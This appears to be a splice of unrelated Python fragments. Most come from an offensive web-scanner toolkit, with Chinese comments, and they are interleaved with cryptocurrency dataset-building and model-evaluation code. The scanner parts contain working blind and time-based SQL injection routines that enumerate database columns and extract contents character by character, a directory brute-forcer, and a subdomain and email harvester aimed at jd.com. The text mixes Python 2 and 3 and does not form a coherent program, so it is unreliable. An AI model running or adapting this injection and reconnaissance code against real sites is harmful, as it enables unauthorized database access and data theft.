retVal = time_injection(select="ascii(substring(`" + column_name + "`," + repr(j + 1) + ",1))",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload, data=self.Data, times=self.time,
isStrings=True, sqlirequest=self.sqlirequest)
content += chr(retVal)
logger.debug("Content sqli success...The content is %s..." % content)
# 把content return回去，以元组的形式
contents = [column_name, content]
logger.info("[*] content: %s" % content)
result.put(tuple(contents))
logger.debug("Sqli table %s column %s limit %d success..." % (table_name, column_name, limits))
def build_old_dataset():
ohlcv_index = load_preprocessed('ohlcv')
cm_index = load_preprocessed('coinmetrics.io')
#social_index = load_preprocessed('cryptocompare_social')
index = {}
for _sym in ohlcv_index.keys():
if not _sym in cm_index:
logger.warning('Missing blockchain data for {}'.format(_sym))
continue
# if not _sym in social_index:
# logger.warning('Missing social data for {}'.format(_sym))
# continue
logger.info('Building {}'.format(_sym))
ohlcv = pd.read_csv(ohlcv_index[_sym]['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
cm = pd.read_csv(cm_index[_sym]['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
#social = pd.read_csv(social_index[_sym]['csv'], sep=',', encoding='utf-8',
# index_col='Date', parse_dates=True)
# Build resampled OHLCV and TA features
ohlcv_3d = builder.periodic_ohlcv_pct_change(ohlcv,
period=3,
label=True)
ohlcv_7d = builder.periodic_ohlcv_pct_change(ohlcv,
period=7,
label=True)
ohlcv_30d = builder.periodic_ohlcv_pct_change(ohlcv,
period=30,
label=True)
ta = builder.features_ta(ohlcv)
ta_3d = builder.period_resampled_ta(ohlcv, period=3)
ta_7d = builder.period_resampled_ta(ohlcv, period=7)
ta_30d = builder.period_resampled_ta(ohlcv, period=30)
# Build Coinmetrics blockchain stats
cm_pct = feature_quality_filter(builder.pct_change(cm))
# Build Cryptocompare social stats
#social_pct = feature_quality_filter(builder.pct_change(social))
# Build target percent variation
target_pct = builder.target_price_variation(ohlcv['close'], periods=1)
target_class = builder.target_discrete_price_variation(target_pct)
target_labels = builder.target_label(target_class,
labels=['SELL', 'HOLD', 'BUY'])
target_bin = builder.target_binned_price_variation(target_pct,
n_bins=3)
target_bin_binary = builder.target_binned_price_variation(target_pct,
n_bins=2)
target_bin_labels = builder.target_label(
target_bin, labels=['SELL', 'HOLD', 'BUY'])
target_bin_binary_labels = builder.target_label(target_bin_binary,
labels=['SELL', 'BUY'])
# Merge all the datasets
dataframes = [
ohlcv, ohlcv_3d, ohlcv_7d, ohlcv_30d, ta, ta_3d, ta_7d, ta_30d,
cm_pct
] #, social_pct]
df = pd.concat(dataframes,
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
target = pd.concat([
target_pct, target_class, target_bin, target_bin_binary,
target_labels, target_bin_labels, target_bin_binary_labels
],
axis=1)
target.columns = [
'pct', 'class', 'bin', 'binary_bin', 'labels', 'bin_labels',
'binary_bin_labels'
]
target = target.loc[df.first_valid_index():df.last_valid_index()]
# Save resulting dataset both in CSV and Excel format
logger.info('Saving {}'.format(_sym))
df.to_csv('data/datasets/all_merged/csv/{}.csv'.format(_sym.lower()),
sep=',',
encoding='utf-8',
index=True,
index_label='Date')
df.to_excel('data/datasets/all_merged/excel/{}.xlsx'.format(
_sym.lower()),
index=True,
index_label='Date')
target.to_csv('data/datasets/all_merged/csv/{}_target.csv'.format(
_sym.lower()),
sep=',',
encoding='utf-8',
index=True,
index_label='Date')
target.to_excel('data/datasets/all_merged/excel/{}_target.xlsx'.format(
_sym.lower()),
index=True,
index_label='Date')
# Add symbol to index
index[_sym] = {
'csv':
'data/datasets/all_merged/csv/{}.csv'.format(_sym.lower()),
'xls':
'data/datasets/all_merged/excel/{}.xlsx'.format(_sym.lower()),
'target_csv':
'data/datasets/all_merged/csv/{}_target.csv'.format(_sym.lower()),
'target_xls':
'data/datasets/all_merged/excel/{}_target.xlsx'.format(
_sym.lower()),
'features': {
'ohlcv': [c for c in ohlcv.columns],
'ohlcv_3d': [c for c in ohlcv_3d.columns],
'ohlcv_7d': [c for c in ohlcv_7d.columns],
'ohlcv_30d': [c for c in ohlcv_30d.columns],
'ta': [c for c in ta.columns],
'ta_3d': [c for c in ta_3d.columns],
'ta_7d': [c for c in ta_7d.columns],
'ta_30d': [c for c in ta_30d.columns],
'cm_pct': [c for c in cm_pct.columns],
#'social_pct': [c for c in social_pct.columns],
}
}
logger.info('Saved {} in data/datasets/all_merged/'.format(_sym))
with open('data/datasets/all_merged/index.json', 'w') as f:
json.dump(index, f, sort_keys=True, indent=4)
def update():
success = False
NewVersion = getLatestRevision()
if Version == NewVersion:
logger.info("Version：{0} 已经是最新版本".format(Version))
exit(0)
elif Version < NewVersion:
logger.info("当前版本 Version: {0}，最新版本为 Version: {1}".format(
Version, NewVersion))
else:
logger.info("Version：{0} 已经是最新版本".format(Version))
exit(0)
message = input("是否更新？[y/N]")
if message == "y":
directory = os.path.abspath(BASE_DIR)
else:
exit(0)
try:
open(os.path.join(directory, "sWebScanner.py"), "w+b")
except Exception as ex:
logger.error("无法更新目录的内容 '{0}'".format(ex))
else:
for wildcard in ('*', "."):
# glob.glob匹配所有的符合条件的文件，并将其以list的形式返回
for _ in glob.glob(os.path.join(directory, wildcard)):
try:
if os.path.isdir(_):
shutil.rmtree(_)
else:
os.remove(_)
except:
pass
if glob.glob(os.path.join(directory, '*')):
errMsg = "无法清除目录的内容 '{0}'".format(directory)
logger.error(errMsg)
else:
try:
archive = urllib.request.urlretrieve(ZIPBALL_PAGE)[0]
with zipfile.ZipFile(archive) as f:
for info in f.infolist():
info.filename = re.sub(r"sWebScanner-main/", "",
info.filename)
if info.filename:
f.extract(info, directory)
filepath = os.path.join(BASE_DIR, "config", "config.py")
if os.path.isfile(filepath):
with open(filepath, 'r', encoding='utf-8') as f:
nowVersion = re.search(
r"(?m)^Version\s*=\s*['\"]([^'\"]+)",
f.read()).group(1)
logger.info("更新到最新版本：{0}".format(nowVersion))
os.remove(archive)
success = True
except Exception as ex:
logger.error("抱歉！！！更新无法完成 ('{0}')".format(ex))
if not success:
logger.info("请前往Github重新下载")
logger.info("下载地址：{0}".format(GIT_REPOSITORY))
def get_columns(self):
# 若tables_name未设置，则全跑一遍
if len(self.tables_name) == 0:
SqliTables.get_tables(self)
# 首先是每个database_name
for database_name in self.tables_name:
# 每个databases_name声明为一个字典
self.columns_name[database_name] = {}
# 每个table_name需要跑一次columns_name
for table_name in self.tables_name[database_name]:
# 每个table_name中的columns_name声明为一个列表储存
columns_name = []
# 开始跑columns_name
logger.debug(
"Start sqli databases %s's tables %s's columns..." %
(database_name, table_name))
# 先GET
if self.sqlirequest == "GET":
logger.debug(
"The sqlirequest is %s, start sqli columns..." %
self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." %
self.sqlimethod)
logger.debug("Start table's %s column amount sqli..." %
table_name)
# 先注columns的数量
columns_number = normal_injection(
select='COUNT(*)',
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"Columns account sqli success...The columns_number is %d..."
% columns_number)
logger.info("[*] columns_number: %d" % columns_number)
# 每个循环跑一次columns的数据
for i in trange(int(columns_number),
desc="Column sqli...",
leave=False,
disable=True):
# 首先是column name的长度
logger.debug("Start %dth column length sqli..." %
(i + 1))
column_name_len = normal_injection(
select='length(column_name)',
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"%dth Column name length sqli success...The column_name_len is %d..."
% ((i + 1), column_name_len))
logger.info("[*] %dth column_name_len: %d" %
((i + 1), column_name_len))
# 然后注columns name
column_name = normal_injection(
select='column_name',
source='information_schema.columns',
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
isStrings=True,
sqlirequest=self.sqlirequest)
logger.debug(
"%dth Column name sqli success...The column_name is %s..."
% ((i + 1), column_name))
# 把columns_name插入列表
columns_name.append(column_name)
logger.info("[*] %dth column_name: %s" %
((i + 1), column_name))
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." %
self.sqlimethod)
logger.debug("Start table's %s column amount sqli..." %
table_name)
retVal = build_injection(
select="COUNT(column_name)",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
columns_number = int(retVal)
logger.debug(
"Columns account sqli success...The columns_number is %d..."
% columns_number)
logger.info("[*] columns_number: %d" % columns_number)
for i in range(0, int(columns_number)):
# 然后注 columns_number 的 length
logger.debug("Start %dth column length sqli..." %
(i + 1))
retVal = build_injection(
select="length(column_name)",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
column_name_len = int(retVal)
logger.debug(
"%dth Column name length sqli success...The column_name_len is %d..."
% ((i + 1), column_name_len))
logger.info("[*] %dth column_name_len: %d" %
((i + 1), column_name_len))
# 然后注column名字
# 清空column_name
column_name = ""
logger.debug("Start %dth column sqli..." % (i + 1))
for j in trange(int(column_name_len),
desc='%dth Column sqli' % (i + 1),
leave=False):
retVal = build_injection(
select="ascii(substring(column_name," +
repr(j + 1) + ",1))",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name +
"'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isStrings=True,
sqlirequest=self.sqlirequest)
column_name += chr(retVal)
logger.debug(
"%dth Column name sqli success...The column_name is %s..."
% ((i + 1), column_name))
# 把columns_name插入列表
columns_name.append(column_name)
logger.info("[*] %dth column_name: %s" %
((i + 1), column_name))
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." %
self.sqlimethod)
logger.debug("Start table's %s column amount sqli..." %
table_name)
retVal = time_injection(
select="COUNT(column_name)",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
columns_number = int(retVal)
logger.debug(
"Columns account sqli success...The columns_number is %d..."
% columns_number)
logger.info("[*] columns_number: %d" % columns_number)
for i in range(0, int(columns_number)):
# 然后注 columns_number 的 length
logger.debug("Start %dth column length sqli..." %
(i + 1))
retVal = time_injection(
select="length(column_name)",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
column_name_len = int(retVal)
logger.debug(
"%dth Column name length sqli success...The column_name_len is %d..."
% ((i + 1), column_name_len))
logger.info("[*] %dth column_name_len: %d" %
((i + 1), column_name_len))
# 然后注columns名字
# 清空column_name
column_name = ""
logger.debug("Start %dth column sqli..." % (i + 1))
for j in trange(int(column_name_len),
desc='%dth Column sqli' % (i + 1),
leave=False):
retVal = time_injection(
select="ascii(substring(column_name," +
repr(j + 1) + ",1))",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name +
"'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isStrings=True,
sqlirequest=self.sqlirequest)
column_name += chr(retVal)
logger.debug(
"%dth Column name sqli success...The column_name is %s..."
% ((i + 1), column_name))
# 把columns_name插入列表
columns_name.append(column_name)
logger.info("[*] %dth column_name: %s" %
((i + 1), column_name))
# 然后是post
elif self.sqlirequest == "POST":
logger.debug(
"The sqlirequest is %s, start sqli tables..." %
self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." %
self.sqlimethod)
logger.debug("Start table's %s column amount sqli..." %
table_name)
# 先注columns的数量
columns_number = normal_injection(
select='COUNT(*)',
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"Columns account sqli success...The columns_number is %d..."
% columns_number)
logger.info("[*] columns_number: %d" % columns_number)
# 每个循环跑一次columns的数据
for i in trange(int(columns_number),
desc="Column sqli...",
leave=False,
disable=True):
# 首先是column name的长度
logger.debug("Start %dth column length sqli..." %
(i + 1))
column_name_len = normal_injection(
select='length(column_name)',
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"%dth Column name length sqli success...The column_name_len is %d..."
% ((i + 1), column_name_len))
logger.info("[*] %dth column_name_len: %d" %
((i + 1), column_name_len))
# 然后注columns_name
column_name = normal_injection(
select='column_name',
source='information_schema.columns',
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
isStrings=True,
sqlirequest=self.sqlirequest)
logger.debug(
"%dth Column name sqli success...The column_name is %s..."
% ((i + 1), column_name))
# 把columns_name插入列表
columns_name.append(column_name)
logger.info("[*] %dth column_name: %s" %
((i + 1), column_name))
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." %
self.sqlimethod)
logger.debug("Start table's %s column amount sqli..." %
table_name)
retVal = build_injection(
select="COUNT(column_name)",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
columns_number = int(retVal)
logger.debug(
"Columns account sqli success...The columns_number is %d..."
% columns_number)
logger.info("[*] columns_number: %d" % columns_number)
for i in range(0, int(columns_number)):
# 然后注 columns_number 的 length
logger.debug("Start %dth column length sqli..." %
(i + 1))
retVal = build_injection(
select="length(column_name)",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
column_name_len = int(retVal)
logger.debug(
"%dth Column name length sqli success...The column_name_len is %d..."
% ((i + 1), column_name_len))
logger.info("[*] %dth column_name_len: %d" %
((i + 1), column_name_len))
# 然后注columns名字
# 清空column_name
column_name = ""
logger.debug("Start %dth column sqli..." % (i + 1))
for j in trange(int(column_name_len),
desc='%dth Column sqli' % (i + 1),
leave=False):
retVal = build_injection(
select="ascii(substring(column_name," +
repr(j + 1) + ",1))",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name +
"'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isStrings=True,
sqlirequest=self.sqlirequest)
column_name += chr(retVal)
logger.debug(
"%dth Column name sqli success...The column_name is %s..."
% ((i + 1), column_name))
# 把columns_name插入列表
columns_name.append(column_name)
logger.info("[*] %dth column_name: %s" %
((i + 1), column_name))
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." %
self.sqlimethod)
logger.debug("Start table's %s column amount sqli..." %
table_name)
retVal = time_injection(
select="COUNT(column_name)",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
columns_number = int(retVal)
logger.debug(
"Columns account sqli success...The columns_number is %d..."
% columns_number)
logger.info("[*] columns_number: %d" % columns_number)
for i in range(0, int(columns_number)):
# 然后注 columns_number 的 length
logger.debug("Start %dth column length sqli..." %
(i + 1))
retVal = time_injection(
select="length(column_name)",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
column_name_len = int(retVal)
logger.debug(
"%dth Column name length sqli success...The column_name_len is %d..."
% ((i + 1), column_name_len))
logger.info("[*] %dth column_name_len: %d" %
((i + 1), column_name_len))
# 然后注columns名字
# 清空column_name
column_name = ""
logger.debug("Start %dth column sqli..." % (i + 1))
for j in trange(int(column_name_len),
desc='%dth Column sqli' % (i + 1),
leave=False):
retVal = time_injection(
select="ascii(substring(column_name," +
repr(j + 1) + ",1))",
source="information_schema.columns",
conditions="table_name = '" + table_name +
"' && table_schema = '" + database_name +
"'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isStrings=True,
sqlirequest=self.sqlirequest)
column_name += chr(retVal)
logger.debug(
"%dth Column name sqli success...The column_name is %s..."
% ((i + 1), column_name))
# 把columns_name插入列表
columns_name.append(column_name)
logger.info("[*] %dth column_name: %s" %
((i + 1), column_name))
# 把注入得到的columns_name列表转为元组
self.columns_name[database_name][table_name] = tuple(
columns_name)
logger.info("Sqli result:")
# 输出所有的列名
for database_name in self.columns_name:
tables_name = ""
for table_name in self.columns_name[database_name]:
tables_name += table_name
tables_name += ','
columns_name = ""
for column_name in self.columns_name[database_name][
table_name]:
columns_name += column_name
columns_name += ','
logger.info("Table %s has columns %s", table_name,
columns_name)
logger.info("Database %s has tables %s", database_name,
tables_name)
print "[*]Columns list:", self.columns_name
def info(message):
"""info log"""
log.info(message)
# 迭代我们想要尝试的文件列表
for brute in attempt_list:
url = "%s%s" % (target_url, urllib.quote(brute))
# print url
try:
headers = {}
headers["User-Agent"] = conf['ua']
r = urllib2.Request(url, headers=headers)
# pbar.update(1)
try:
response = urllib2.urlopen(r, timeout=2)
except:
logger.error("Time out...")
continue # 有可能卡死
# 请求完成后睡眠
time.sleep(stime)
if response.code != 404:
logger.info("Get !!!!" + url)
tqdm.write("[%d] => %s" % (response.code, url))
except urllib2.URLError, e:
if hasattr(e, 'code') and e.code != 404:
tqdm.write("!!! %d => %s" % (e.code, url))
logger.info("The dictionary queue is empty")
pbar.close()
exit(0)
def build(source_index, dest_index, W=10):
ohlcv_index = load_preprocessed('ohlcv')
cm_index = load_preprocessed('coinmetrics.io')
index = {}
for _sym in ohlcv_index.keys():
if not _sym in cm_index:
logger.warning('Missing blockchain data for {}'.format(_sym))
continue
logger.info('Building {}'.format(_sym))
ohlcv = pd.read_csv(ohlcv_index[_sym]['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
cm = pd.read_csv(cm_index[_sym]['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
# Build resampled OHLCV and TA features
ohlcv_3d = builder.periodic_ohlcv_resample(ohlcv, period=3, label=True)
ohlcv_7d = builder.periodic_ohlcv_resample(ohlcv, period=7, label=True)
ohlcv_30d = builder.periodic_ohlcv_resample(ohlcv,
period=30,
label=True)
ta = builder.features_ta(ohlcv)
ta_3d = builder.period_resampled_ta(ohlcv, period=3)
ta_7d = builder.period_resampled_ta(ohlcv, period=7)
ta_30d = builder.period_resampled_ta(ohlcv, period=30)
# Build target percent variation
close = ohlcv['close']
target_pct = builder.target_price_variation(ohlcv['close'], periods=1)
target_class = builder.target_discrete_price_variation(target_pct)
target_binary = builder.target_binary_price_variation(target_pct)
target_labels = builder.target_label(target_class,
labels=['SELL', 'HOLD', 'BUY'])
target_binary_labels = builder.target_label(target_binary,
labels=['SELL', 'BUY'])
target_bin = builder.target_binned_price_variation(target_pct,
n_bins=3)
target_bin_binary = builder.target_binned_price_variation(target_pct,
n_bins=2)
target_bin_labels = builder.target_label(
target_bin, labels=['SELL', 'HOLD', 'BUY'])
target_bin_binary_labels = builder.target_label(target_bin_binary,
labels=['SELL', 'BUY'])
# Merge all the datasets
dataframes = [
ohlcv, ohlcv_3d, ohlcv_7d, ohlcv_30d, ta, ta_3d, ta_7d, ta_30d, cm
] #, social_pct]
df = pd.concat(dataframes,
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
target = pd.concat([
close, target_pct, target_class, target_binary, target_bin,
target_bin_binary, target_labels, target_binary_labels,
target_bin_labels, target_bin_binary_labels
],
axis=1)
target.columns = [
'close', 'pct', 'class', 'binary', 'bin', 'binary_bin', 'labels',
'binary_labels', 'bin_labels', 'binary_bin_labels'
]
target = target.loc[df.first_valid_index():df.last_valid_index()]
# Save resulting dataset both in CSV and Excel format
logger.info('Saving {}'.format(_sym))
feature_groups = {
'ohlcv': [c for c in ohlcv.columns],
'ohlcv_3d': [c for c in ohlcv_3d.columns],
'ohlcv_7d': [c for c in ohlcv_7d.columns],
'ohlcv_30d': [c for c in ohlcv_30d.columns],
'ta': [c for c in ta.columns],
'ta_3d': [c for c in ta_3d.columns],
'ta_7d': [c for c in ta_7d.columns],
'ta_30d': [c for c in ta_30d.columns],
'cm': [c for c in cm.columns],
# 'social_pct': [c for c in social_pct.columns],
}
save_symbol_dataset(dest_index,
_sym,
df,
target=target,
feature_groups=feature_groups)
logger.info('Saved {}'.format(_sym))
def main():
index = load_dataset('all_merged', return_index=True)
resultFile = './data/datasets/all_merged/estimators/randomforest_sfm_hyperparameters.json'
hyperparameters = {}
if not os.path.exists(resultFile):
logger.error('no hyperparameters!')
with open(resultFile, 'r') as f:
hyperparameters = json.load(f)
for _sym, data in index.items():
if _sym not in hyperparameters or not os.path.exists(
hyperparameters[_sym]['estimator']):
logger.error('{} does not exist.'.format(_sym))
else:
features = pd.read_csv(data['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
# Replace nan with infinity so that it can later be imputed to a finite value
features = features.replace([np.inf, -np.inf], np.nan)
#features = features[hyperparameters['feature_importances']]
# Derive target classes from closing price
target_pct = target_price_variation(features['close'])
target = target_binned_price_variation(target_pct, n_bins=2)
# target = target_discrete_price_variation(target_pct)
# Split data in train and blind test set with 70:30 ratio,
# most ML models don't take sequentiality into account, but our pipeline
# uses a SimpleImputer with mean strategy, so it's best not to shuffle the data.
X_train, X_test, y_train, y_test = train_test_split(
features.values, target.values, shuffle=False, test_size=0.3)
# Summarize distribution
print("Training set: # Features {}, # Samples {}".format(
X_train.shape[1], X_train.shape[0]))
plot_class_distribution("Training set", _sym, y_train)
print("Test set: # Features {}, # Samples {}".format(
X_test.shape[1], X_test.shape[0]))
plot_class_distribution("Test set", _sym, y_test)
if not np.isfinite(X_train).all():
logger.warning("Training x is not finite!")
if not np.isfinite(y_train).all():
logger.warning("Training y is not finite!")
if not np.isfinite(X_test).all():
logger.warning("Test x is not finite!")
if not np.isfinite(y_test).all():
logger.warning("Test y is not finite!")
# Take the fitted ensemble with tuned hyperparameters
clf = None
with open(hyperparameters[_sym]['estimator'], 'rb') as f:
clf = pickle.load(f)
# Test ensemble's performance on training and test sets
logger.info("Classification report on train set")
predictions1 = clf.predict(X_train)
train_report = classification_report(y_train,
predictions1,
output_dict=True)
print(classification_report(y_train, predictions1))
logger.info("Classification report on test set")
predictions2 = clf.predict(X_test)
test_report = classification_report(y_test,
predictions2,
output_dict=True)
print(classification_report(y_test, predictions2))
stats = {
'score': accuracy_score(y_train, predictions1),
'mse': mean_squared_error(y_train, predictions1),
'test_score': accuracy_score(y_test, predictions2),
'test_mse': mean_squared_error(y_test, predictions2),
'train_report': train_report,
'test_report': test_report,
}
print(stats)
print("--- end ---")
def build_atsa_dataset(source_index, W=10):
_dataset = load_dataset(source_index, return_index=True)
index = {}
for _sym, entry in _dataset.items():
_df = pd.read_csv(entry['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
_target = pd.read_csv(entry['target_csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
ohlcv = _df[entry['features']['ohlcv']]
ta = _df[entry['features']['ta']]
# Build the dataframe with base features
ohlc = ohlcv[['open', 'high', 'low', 'close']]
lagged_ohlc = pd.concat(
[ohlc] + [builder.make_lagged(ohlc, i) for i in range(1, W + 1)],
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
# Add lagged features to the dataframe
atsa_df = pd.concat([lagged_ohlc, ta],
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
# Drop the first 30 rows
atsa_df = atsa_df[30:]
# Save the dataframe
atsa_df.to_csv('data/datasets/all_merged/csv/{}_atsa.csv'.format(
_sym.lower()),
sep=',',
encoding='utf-8',
index=True,
index_label='Date')
atsa_df.to_excel('data/datasets/all_merged/excel/{}_atsa.xlsx'.format(
_sym.lower()),
index=True,
index_label='Date')
# decompose_dataframe_features('all_merged', _sym+'_improved', unlagged_df)
# Add symbol to index
index[_sym] = {
'csv':
'data/datasets/all_merged/csv/{}_atsa.csv'.format(_sym.lower()),
'xls':
'data/datasets/all_merged/excel/{}_atsa.xlsx'.format(_sym.lower()),
'target_csv':
'data/datasets/all_merged/csv/{}_target.csv'.format(_sym.lower()),
'target_xls':
'data/datasets/all_merged/excel/{}_target.xlsx'.format(
_sym.lower()),
'features': {
'atsa': [c for c in atsa_df.columns],
}
}
logger.info('Saved {} in data/datasets/all_merged/'.format(_sym))
with open('data/datasets/all_merged/index_atsa.json', 'w') as f:
json.dump(index, f, sort_keys=True, indent=4)
def run(self):
url = self.base_url.format(domain=self.domain)
#print url
try:
self.resp = http_request_get(url).content
if self.resp:
self.subdomains = self.get_hostnames()
self.email = self.get_email()
for domain in self.subdomains:
self.domain_name.append(domain)
except Exception, e:
logger.error("Error in {0}: {1}".format(
__file__.split('/')[-1], e))
finally:
logger.info("{0} found {1} domains".format(self.engine_name,
len(self.domain_name)))
return self.domain_name, self.smiliar_domain_name, self.email
def get_hostnames(self):
rawres = parser(self.resp, self.domain)
return rawres.hostnames()
def get_email(self):
rawres = parser(self.resp, self.domain)
return rawres.emails()
if __name__ == "__main__":
x = CrtSearch("jd.com")
print x.run()
